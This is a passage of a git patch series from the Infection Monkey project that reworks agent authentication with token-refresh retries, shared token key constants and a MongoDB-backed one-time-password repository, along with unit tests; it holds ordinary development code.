response.json()] + @handle_authentication_token_expiration def register_agent(self, agent_registration_data: AgentRegistrationData): self._http_client.post( "/agents", @@ -168,6 +179,7 @@ def register_agent(self, agent_registration_data: AgentRegistrationData): SHORT_REQUEST_TIMEOUT, ) + @handle_authentication_token_expiration def send_events(self, events: Sequence[AbstractAgentEvent]): self._http_client.post("/agent-events", self._serialize_events(events)) @@ -183,10 +195,12 @@ def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSeriali return serialized_events + @handle_authentication_token_expiration def send_heartbeat(self, timestamp: float): data = AgentHeartbeat(timestamp=timestamp).dict(simplify=True) self._http_client.post(f"/agent/{self._agent_id}/heartbeat", data) + @handle_authentication_token_expiration def send_log(self, log_contents: str): self._http_client.put( f"/agent-logs/{self._agent_id}", From 76a0f3476bc8f7ca7dbc0560df65fbab608b4889 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 19:38:38 +0530 Subject: [PATCH 1047/1338] Common: Add auth token and refresh token key constants --- monkey/common/common_consts/token_keys.py | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 monkey/common/common_consts/token_keys.py diff --git a/monkey/common/common_consts/token_keys.py b/monkey/common/common_consts/token_keys.py new file mode 100644 index 00000000000..24961f9792c --- /dev/null +++ b/monkey/common/common_consts/token_keys.py @@ -0,0 +1,2 @@ +REFRESH_TOKEN_KEY_NAME = "refresh_token" +ACCESS_TOKEN_KEY_NAME = "authentication_token" From 0cfd21fcd4f54a1129ed5ba0e81cca1edcc5b648 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 19:39:31 +0530 Subject: [PATCH 1048/1338] Agent: Use token key constants in HTTPIslandAPIClient --- .../island_api_client/http_island_api_client.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 02bfd0aea24..0b1c143b5f5 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -13,6 +13,7 @@ from common.agent_events import AbstractAgentEvent from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT +from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME from common.credentials import Credentials from common.types import AgentID, JSONSerializable from common.types.otp import OTP @@ -89,8 +90,8 @@ def login(self, otp: OTP): def _update_tokens_from_response(self, response: Response): tokens_in_response = response.json()["response"]["user"] auth_token, refresh_token = ( - tokens_in_response["authentication_token"], - tokens_in_response["refresh_token"], + tokens_in_response[ACCESS_TOKEN_KEY_NAME], + tokens_in_response[REFRESH_TOKEN_KEY_NAME], ) self._http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] = auth_token @@ -98,7 +99,7 @@ def _update_tokens_from_response(self, response: Response): @handle_response_parsing_errors def refresh_tokens(self): - response = self._http_client.post("/token", {"refresh_token": self._refresh_token}) + response = self._http_client.post("/token", {REFRESH_TOKEN_KEY_NAME: self._refresh_token}) self._update_tokens_from_response(response) @handle_authentication_token_expiration From 06d63e8249527d0d4b33d9ee5ba6f5b7a20d872f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 19:41:08 +0530 Subject: [PATCH 1049/1338] Island: Use token key constants in authentication service --- .../authentication_service/flask_resources/agent_otp_login.py | 3 ++- .../flask_resources/refresh_authentication_token.py | 2 +- .../services/authentication_service/flask_resources/utils.py | 4 +--- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index d160bec043f..c1957f2a7e1 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -3,6 +3,7 @@ from flask import make_response, request from flask_login import current_user +from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade @@ -36,7 +37,7 @@ def post(self): refresh_token = self._authentication_facade.generate_refresh_token(current_user) response = make_response( - {"response": {"user": {"authentication_token": "supersecrettoken"}}} + {"response": {"user": {ACCESS_TOKEN_KEY_NAME: "supersecrettoken"}}} ) response = add_refresh_token_to_response(response, refresh_token) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py index 6c11e6dca35..65882d05a73 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py @@ -3,11 +3,11 @@ from flask import make_response, request +from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME from monkey_island.cc.flask_utils import AbstractResource, responses from monkey_island.cc.services.authentication_service.token import TokenValidationError from ..authentication_facade import AuthenticationFacade -from .utils import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py index d42425956a7..554e7198906 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py @@ -6,11 +6,9 @@ from flask import Request, Response, request from werkzeug.datastructures import ImmutableMultiDict +from common.common_consts.token_keys import REFRESH_TOKEN_KEY_NAME from monkey_island.cc.services.authentication_service.token import Token -REFRESH_TOKEN_KEY_NAME = "refresh_token" -ACCESS_TOKEN_KEY_NAME = "authentication_token" - def get_username_password_from_request(_request: Request) -> Tuple[str, str]: """ From ed00bc2f92cd8ef97cdac932b4f5c7421cd8a451 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 19:41:51 +0530 Subject: [PATCH 1050/1338] UT: Use token key constants in tests --- .../island_api_client/test_http_island_api_client.py | 9 +++++---- .../authentication_service/flask_resources/test_login.py | 3 ++- .../flask_resources/test_register.py | 3 ++- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index 1dca7bf63b2..8898007940f 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -23,6 +23,7 @@ from common.agent_events import AbstractAgentEvent from common.agent_plugins import AgentPluginType from common.base_models import InfectionMonkeyBaseModel +from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME from common.credentials import Credentials from common.types import SocketAddress from infection_monkey.island_api_client import ( @@ -117,8 +118,8 @@ def test_login(): http_client_stub.post.return_value.json.return_value = { "response": { "user": { - "authentication_token": auth_token, - "refresh_token": refresh_token, + ACCESS_TOKEN_KEY_NAME: auth_token, + REFRESH_TOKEN_KEY_NAME: refresh_token, } } } @@ -149,8 +150,8 @@ def test_login__does_not_overwrite_additional_headers(): http_client_stub.post.return_value.json.return_value = { "response": { "user": { - "authentication_token": auth_token, - "refresh_token": refresh_token, + ACCESS_TOKEN_KEY_NAME: auth_token, + REFRESH_TOKEN_KEY_NAME: refresh_token, } } } diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py index 0b194b17cb3..f173d92a245 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py @@ -5,6 +5,7 @@ from flask import Response from tests.unit_tests.monkey_island.cc.services.authentication_service.conftest import REFRESH_TOKEN +from common.common_consts.token_keys import REFRESH_TOKEN_KEY_NAME from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, ) @@ -54,7 +55,7 @@ def test_login_successful(make_login_request, monkeypatch): response = make_login_request(TEST_REQUEST) assert response.status_code == HTTPStatus.OK - assert response.json["response"]["user"]["refresh_token"] == REFRESH_TOKEN + assert response.json["response"]["user"][REFRESH_TOKEN_KEY_NAME] == REFRESH_TOKEN def test_login_failure( diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py index e3330e02f3b..6d4ed7e2a61 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py @@ -5,6 +5,7 @@ from flask import Response from tests.unit_tests.monkey_island.cc.services.authentication_service.conftest import REFRESH_TOKEN +from common.common_consts.token_keys import REFRESH_TOKEN_KEY_NAME from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, ) @@ -64,7 +65,7 @@ def test_register_successful( response = make_registration_request(TEST_REQUEST) assert response.status_code == HTTPStatus.OK - assert response.json["response"]["user"]["refresh_token"] == REFRESH_TOKEN + assert response.json["response"]["user"][REFRESH_TOKEN_KEY_NAME] == REFRESH_TOKEN mock_authentication_facade.handle_successful_registration.assert_called_with(USERNAME, PASSWORD) From 8c8b1dfd232706e35ead711bae92232cf25a5ee5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 3 Apr 2023 18:06:51 +0530 Subject: [PATCH 1051/1338] Island: Modify refresh token in AgentOTPLogin POST Flask's `current_user` won't work until the Agent actually logs in. --- .../authentication_service/flask_resources/agent_otp_login.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index c1957f2a7e1..a69a97a5d30 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -1,7 +1,6 @@ import json from flask import make_response, request -from flask_login import current_user from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME from monkey_island.cc.flask_utils import AbstractResource, responses @@ -34,7 +33,7 @@ def post(self): cred_dict = json.loads(request.data) otp = cred_dict.get("otp", "") if self._validate_otp(otp): - refresh_token = self._authentication_facade.generate_refresh_token(current_user) + refresh_token = "refreshtoken" response = make_response( {"response": {"user": {ACCESS_TOKEN_KEY_NAME: "supersecrettoken"}}} From efef489d8185ecaefbd3bf3ea71821dacb29ab2e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 3 Apr 2023 18:08:48 +0530 Subject: [PATCH 1052/1338] Island: Pass AuthenticationFacade to AgentOTPLogin's constructor This isn't used in the class as of now but it will be when the Agent login is implemented so there's no point removing it now and adding it back then. --- .../flask_resources/register_resources.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index 827b02f7882..b7aeb350f35 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -18,7 +18,11 @@ def register_resources(api: flask_restful.Api, authentication_facade: Authentica api.add_resource(Login, *Login.urls, resource_class_args=(authentication_facade,)) api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) api.add_resource(AgentOTP, *AgentOTP.urls) - api.add_resource(AgentOTPLogin, *AgentOTPLogin.urls) + api.add_resource( + AgentOTPLogin, + *AgentOTPLogin.urls, + resource_class_args=(authentication_facade,), + ) api.add_resource( RefreshAuthenticationToken, *RefreshAuthenticationToken.urls, From edbfdacc44ffa6b2fceab2890875683fd6a0d0df Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 3 Apr 2023 18:12:20 +0530 Subject: [PATCH 1053/1338] Agent: Remove @handle_authentication_token_expiration from HTTPIslandAPIClient.login() --- .../infection_monkey/island_api_client/http_island_api_client.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 0b1c143b5f5..89691fae9f6 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -76,7 +76,6 @@ def __init__( self._refresh_token = "" @handle_response_parsing_errors - @handle_authentication_token_expiration def login(self, otp: OTP): try: response = self._http_client.post("/agent-otp-login", {"otp": otp.get_secret_value()}) From fcf92764add7d95fdea6574d47930e287cd84b84 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 3 Apr 2023 18:15:46 +0530 Subject: [PATCH 1054/1338] UT: Fix AgentOTPLogin test --- .../authentication_service/flask_resources/test_otp_login.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py index eda0d0a39a1..c127d13f1ed 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py @@ -1,5 +1,6 @@ import pytest +from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME from monkey_island.cc.services.authentication_service.flask_resources.agent_otp_login import ( AgentOTPLogin, ) @@ -19,7 +20,7 @@ def test_agent_otp_login__successful(agent_otp_login): response = agent_otp_login('{"otp": "supersecretpassword"}') assert response.status_code == 200 - assert response.json["token"] == "supersecrettoken" + assert response.json["response"]["user"][ACCESS_TOKEN_KEY_NAME] == "supersecrettoken" @pytest.mark.parametrize("data", [{}, [], '{"otp": ""}']) From 904e49a6373f586fa7596fd6dc821d518e2fffaa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 13:06:58 -0400 Subject: [PATCH 1055/1338] UT: Use common token key names in test_refresh_authentication_token.py --- .../flask_resources/test_refresh_authentication_token.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py index 434324681f3..72d76a2d3a0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py @@ -2,16 +2,13 @@ import pytest +from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.flask_resources.refresh_authentication_token import ( # noqa: E501 RefreshAuthenticationToken, ) -from monkey_island.cc.services.authentication_service.flask_resources.utils import ( - ACCESS_TOKEN_KEY_NAME, - REFRESH_TOKEN_KEY_NAME, -) from monkey_island.cc.services.authentication_service.token.token_parser import ( ExpiredTokenError, InvalidTokenSignatureError, From ad3ccf04c427b40c823fdffbfe1cc6f705b3ad39 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 13:45:38 -0400 Subject: [PATCH 1056/1338] Agent: Add debug logging to handle_authentication_token_expiration() --- .../island_api_client/http_island_api_client.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 89691fae9f6..22685fb06fa 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -48,9 +48,12 @@ def wrapper(self, *args, **kwargs): try: return fn(self, *args, **kwargs) except IslandAPIAuthenticationError: - # try again after refreshing tokens - # something else is wrong if this still doesn't work, let the issue be raised + logger.debug("Authentication token expired. Refreshing...") self.refresh_tokens() + + # try again after refreshing tokens + # something else is wrong if this still doesn't work, let the error be raised + logger.debug("Authentication token refreshed, retrying request...") return fn(self, *args, **kwargs) return wrapper From e16c6c48aefd7d4592591dc1d8420eabc6c64b45 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 31 Mar 2023 17:35:47 +0000 Subject: [PATCH 1057/1338] Island: Add model for OTP --- monkey/monkey_island/cc/models/__init__.py | 1 + monkey/monkey_island/cc/models/otp.py | 13 +++++++ .../monkey_island/cc/models/test_otp.py | 35 +++++++++++++++++++ 3 files changed, 49 insertions(+) create mode 100644 monkey/monkey_island/cc/models/otp.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/models/test_otp.py diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index afdab5ec71b..2b6a9fadc74 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -8,3 +8,4 @@ from common.types import AgentID from .agent import Agent from .terminate_all_agents import TerminateAllAgents +from .otp import OTP diff --git a/monkey/monkey_island/cc/models/otp.py b/monkey/monkey_island/cc/models/otp.py new file mode 100644 index 00000000000..c624a244f83 --- /dev/null +++ b/monkey/monkey_island/cc/models/otp.py @@ -0,0 +1,13 @@ +from datetime import datetime + +from common.base_models import InfectionMonkeyBaseModel + + +class OTP(InfectionMonkeyBaseModel): + """Represents a one-time password (OTP)""" + + otp: str + """One-time password (OTP)""" + + expiration_time: datetime + """The OTP is no longer valid after this time""" diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_otp.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_otp.py new file mode 100644 index 00000000000..10f51004fb5 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_otp.py @@ -0,0 +1,35 @@ +from datetime import datetime, timezone + +import pytest + +from monkey_island.cc.models import OTP + +OTP_DICT = {"otp": "otp", "expiration_time": datetime(2020, 1, 1, 0, 0, 0, tzinfo=timezone.utc)} +OTP_SIMPLE_DICT = {"otp": "otp", "expiration_time": "2020-01-01T00:00:00+00:00"} + + +def test_otp__constructor(): + otp = OTP(**OTP_DICT) + + assert otp.otp == OTP_DICT["otp"] + assert otp.expiration_time == OTP_DICT["expiration_time"] + + +def test_otp__to_dict(): + otp = OTP(**OTP_DICT) + + assert otp.dict(simplify=True) == OTP_SIMPLE_DICT + + +def test_otp__immutable(): + otp = OTP(**OTP_DICT) + + with pytest.raises(TypeError): + otp.otp = "new-otp" + + +def test_expiration_time__immutable(): + otp = OTP(**OTP_DICT) + + with pytest.raises(TypeError): + otp.expiration_time = datetime(2022, 1, 1, 0, 0, 0, tzinfo=timezone.utc) From 76b494d1fdec942b47f1f7a9196aff51b0bf8975 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 31 Mar 2023 18:45:11 +0000 Subject: [PATCH 1058/1338] Island: Add repository for OTPs --- .../monkey_island/cc/repositories/__init__.py | 2 + .../cc/repositories/i_otp_repository.py | 44 +++++++ .../cc/repositories/mongo_otp_repository.py | 43 +++++++ .../repositories/test_mongo_otp_repository.py | 114 ++++++++++++++++++ 4 files changed, 203 insertions(+) create mode 100644 monkey/monkey_island/cc/repositories/i_otp_repository.py create mode 100644 monkey/monkey_island/cc/repositories/mongo_otp_repository.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py diff --git a/monkey/monkey_island/cc/repositories/__init__.py b/monkey/monkey_island/cc/repositories/__init__.py index 529e38fafdf..6bd7754a0cb 100644 --- a/monkey/monkey_island/cc/repositories/__init__.py +++ b/monkey/monkey_island/cc/repositories/__init__.py @@ -11,6 +11,7 @@ from .i_agent_event_repository import IAgentEventRepository from .i_agent_log_repository import IAgentLogRepository from .i_agent_plugin_repository import IAgentPluginRepository +from .i_otp_repository import IOTPRepository from .local_storage_file_repository import LocalStorageFileRepository @@ -29,6 +30,7 @@ from .mongo_agent_repository import MongoAgentRepository from .mongo_node_repository import MongoNodeRepository from .mongo_agent_event_repository import MongoAgentEventRepository +from .mongo_otp_repository import MongoOTPRepository from .file_agent_log_repository import FileAgentLogRepository from .file_agent_plugin_repository import FileAgentPluginRepository diff --git a/monkey/monkey_island/cc/repositories/i_otp_repository.py b/monkey/monkey_island/cc/repositories/i_otp_repository.py new file mode 100644 index 00000000000..f5eef20866f --- /dev/null +++ b/monkey/monkey_island/cc/repositories/i_otp_repository.py @@ -0,0 +1,44 @@ +from abc import ABC, abstractmethod + +from monkey_island.cc.models import OTP + + +class IOTPRepository(ABC): + """A repository used to store and retrieve `OTP`s""" + + @abstractmethod + def save_otp(self, otp: OTP): + """ + Insert an OTP into the repository + + :param otp: The OTP to insert + :raises StorageError: If an error occurs while attempting to insert the OTP + """ + + @abstractmethod + def get_otp(self, otp: str) -> OTP: + """ + Get an OTP from the repository + + :param otp: The ID of the OTP to get + :return: The OTP + :raises RetrievalError: If an error occurs while attempting to retrieve the OTP + :raises UnknownRecordError: If the OTP was not found + """ + + @abstractmethod + def delete_otp(self, otp: str): + """ + Delete an OTP from the repository + + :param otp: The OTP to delete + :raises RemovalError: If an error occurs while attempting to delete the OTP + """ + + @abstractmethod + def reset(self): + """ + Remove all `OTP`s from the repository + + :raises RemovalError: If an error occurs while attempting to reset the repository + """ diff --git a/monkey/monkey_island/cc/repositories/mongo_otp_repository.py b/monkey/monkey_island/cc/repositories/mongo_otp_repository.py new file mode 100644 index 00000000000..25856d228ad --- /dev/null +++ b/monkey/monkey_island/cc/repositories/mongo_otp_repository.py @@ -0,0 +1,43 @@ +from pymongo import MongoClient + +from monkey_island.cc.models import OTP + +from . import IOTPRepository +from .consts import MONGO_OBJECT_ID_KEY +from .errors import RemovalError, RetrievalError, StorageError, UnknownRecordError + + +class MongoOTPRepository(IOTPRepository): + def __init__(self, mongo_client: MongoClient): + self._otp_collection = mongo_client.monkey_island.otp + self._otp_collection.create_index("otp", unique=True) + self._otp_collection.create_index("expiration_time", expireAfterSeconds=0) + + def save_otp(self, otp: OTP): + try: + # Do we need to encrypt OTPs? + self._otp_collection.insert_one(otp.dict(simplify=True)) + except Exception as err: + raise StorageError(f"Error updating otp: {err}") + + def get_otp(self, otp: str) -> OTP: + try: + otp_dict = self._otp_collection.find_one({"otp": otp}, {MONGO_OBJECT_ID_KEY: False}) + except Exception as err: + raise RetrievalError(f"Error retrieving otp: {err}") + + if otp_dict is None: + raise UnknownRecordError("OTP not found") + return OTP(**otp_dict) + + def delete_otp(self, otp: str): + try: + self._otp_collection.delete_one({"otp": otp}) + except Exception as err: + raise RemovalError(f"Error deleting otp: {err}") + + def reset(self): + try: + self._otp_collection.drop() + except Exception as err: + raise RemovalError(f"Error resetting the repository: {err}") diff --git a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py new file mode 100644 index 00000000000..60b35d1e286 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py @@ -0,0 +1,114 @@ +from unittest.mock import MagicMock + +import mongomock +import pytest + +from monkey_island.cc.models import OTP +from monkey_island.cc.repositories import ( + IOTPRepository, + MongoOTPRepository, + RemovalError, + RetrievalError, + StorageError, + UnknownRecordError, +) + +OTPS = ( + OTP(otp="test_otp_1", expiration_time=1), + OTP(otp="test_otp_2", expiration_time=2), + OTP(otp="test_otp_3", expiration_time=3), +) + + +@pytest.fixture +def empty_otp_repository() -> IOTPRepository: + return MongoOTPRepository(mongomock.MongoClient()) + + +@pytest.fixture +def otp_repository() -> IOTPRepository: + client = mongomock.MongoClient() + client.monkey_island.otp.insert_many((o.dict(simplify=True) for o in OTPS)) + otp_repository = MongoOTPRepository(client) + return otp_repository + + +@pytest.fixture +def error_raising_mongo_client() -> mongomock.MongoClient: + client = mongomock.MongoClient() + client.monkey_island = MagicMock(spec=mongomock.Database) + client.monkey_island.otp = MagicMock(spec=mongomock.Collection) + client.monkey_island.otp.insert_one = MagicMock(side_effect=Exception("insert failed")) + client.monkey_island.otp.find_one = MagicMock(side_effect=Exception("find failed")) + client.monkey_island.otp.delete_one = MagicMock(side_effect=Exception("delete failed")) + client.monkey_island.otp.drop = MagicMock(side_effect=Exception("drop failed")) + + return client + + +@pytest.fixture +def error_raising_otp_repository(error_raising_mongo_client) -> IOTPRepository: + return MongoOTPRepository(error_raising_mongo_client) + + +def test_save_otp(empty_otp_repository: IOTPRepository): + otp = OTP(otp="test_otp", expiration_time=1) + empty_otp_repository.save_otp(otp) + assert empty_otp_repository.get_otp("test_otp") == otp + + +def test_save_otp__prevents_duplicates(otp_repository: IOTPRepository): + with pytest.raises(StorageError): + otp_repository.save_otp(OTPS[0]) + + +def test_save_otp__raises_storage_error_if_error_occurs( + error_raising_otp_repository: IOTPRepository, +): + with pytest.raises(StorageError): + error_raising_otp_repository.save_otp(OTP(otp="test_otp", expiration_time=1)) + + +def test_get_otp__raises_unknown_record_error_if_otp_does_not_exist( + empty_otp_repository: IOTPRepository, +): + with pytest.raises(UnknownRecordError): + empty_otp_repository.get_otp("test_otp") + + +def test_get_otp__returns_otp_if_otp_exists(otp_repository: IOTPRepository): + assert otp_repository.get_otp(OTPS[0].otp) == OTPS[0] + + +def test_get_otp__raises_retrieval_error_if_error_occurs( + error_raising_otp_repository: IOTPRepository, +): + with pytest.raises(RetrievalError): + error_raising_otp_repository.get_otp("test_otp") + + +def test_delete_otp__deletes_otp_if_otp_exists(otp_repository: IOTPRepository): + otp_repository.delete_otp(OTPS[0].otp) + + with pytest.raises(UnknownRecordError): + otp_repository.get_otp(OTPS[0].otp) + + +def test_delete_otp__raises_removal_error_if_error_occurs( + error_raising_otp_repository: IOTPRepository, +): + with pytest.raises(RemovalError): + error_raising_otp_repository.delete_otp("test_otp") + + +def test_reset__deletes_all_otp(otp_repository: IOTPRepository): + otp_repository.reset() + + for o in OTPS: + with pytest.raises(UnknownRecordError): + otp_repository.get_otp(o.otp) + + +def test_reset__raises_removal_error_if_error_occurs(error_raising_otp_repository: IOTPRepository): + with pytest.raises(RemovalError): + error_raising_otp_repository.reset() From 1a8b0e6381f846f766a74ac4466e7ceb39b03902 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 31 Mar 2023 18:48:58 +0000 Subject: [PATCH 1059/1338] Project: Add vulture entries for OTP --- vulture_allowlist.py | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 4826983a1a3..a8a1da34e25 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -17,8 +17,13 @@ from infection_monkey.island_api_client import http_island_api_client from infection_monkey.transport.http import FileServHTTPRequestHandler from monkey_island.cc.deployment import Deployment -from monkey_island.cc.models import IslandMode, Machine -from monkey_island.cc.repositories import IAgentEventRepository, MongoAgentEventRepository +from monkey_island.cc.models import OTP, IslandMode, Machine +from monkey_island.cc.repositories import ( + IAgentEventRepository, + IOTPRepository, + MongoAgentEventRepository, + MongoOTPRepository, +) from monkey_island.cc.services.authentication_service.token import TokenValidator from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation @@ -149,3 +154,9 @@ # Remove after #3137 TokenValidator.validate_token _refresh_token_validator + +# Remove after #3078 +OTP.expiration_time +IOTPRepository.save_otp +IOTPRepository.delete_otp +MongoOTPRepository From 5750f615d960247cbee81cba309c3da973d7518c Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Apr 2023 18:43:15 +0000 Subject: [PATCH 1060/1338] Island: Cleanup IOTPRepository interface --- .../cc/repositories/i_otp_repository.py | 24 ++---- .../cc/repositories/mongo_otp_repository.py | 31 ++++---- .../repositories/test_mongo_otp_repository.py | 77 ++++++++----------- vulture_allowlist.py | 5 +- 4 files changed, 60 insertions(+), 77 deletions(-) diff --git a/monkey/monkey_island/cc/repositories/i_otp_repository.py b/monkey/monkey_island/cc/repositories/i_otp_repository.py index f5eef20866f..5a30759cf8c 100644 --- a/monkey/monkey_island/cc/repositories/i_otp_repository.py +++ b/monkey/monkey_island/cc/repositories/i_otp_repository.py @@ -1,40 +1,30 @@ from abc import ABC, abstractmethod -from monkey_island.cc.models import OTP - class IOTPRepository(ABC): """A repository used to store and retrieve `OTP`s""" @abstractmethod - def save_otp(self, otp: OTP): + def insert_otp(self, otp: str, expiration: float): """ Insert an OTP into the repository :param otp: The OTP to insert + :param expiration: The time that the OTP expires :raises StorageError: If an error occurs while attempting to insert the OTP """ @abstractmethod - def get_otp(self, otp: str) -> OTP: + def get_expiration(self, otp: str) -> float: """ - Get an OTP from the repository + Get the expiration time of a given OTP - :param otp: The ID of the OTP to get - :return: The OTP - :raises RetrievalError: If an error occurs while attempting to retrieve the OTP + :param otp: OTP for which to get the expiration time + :return: The time that the OTP 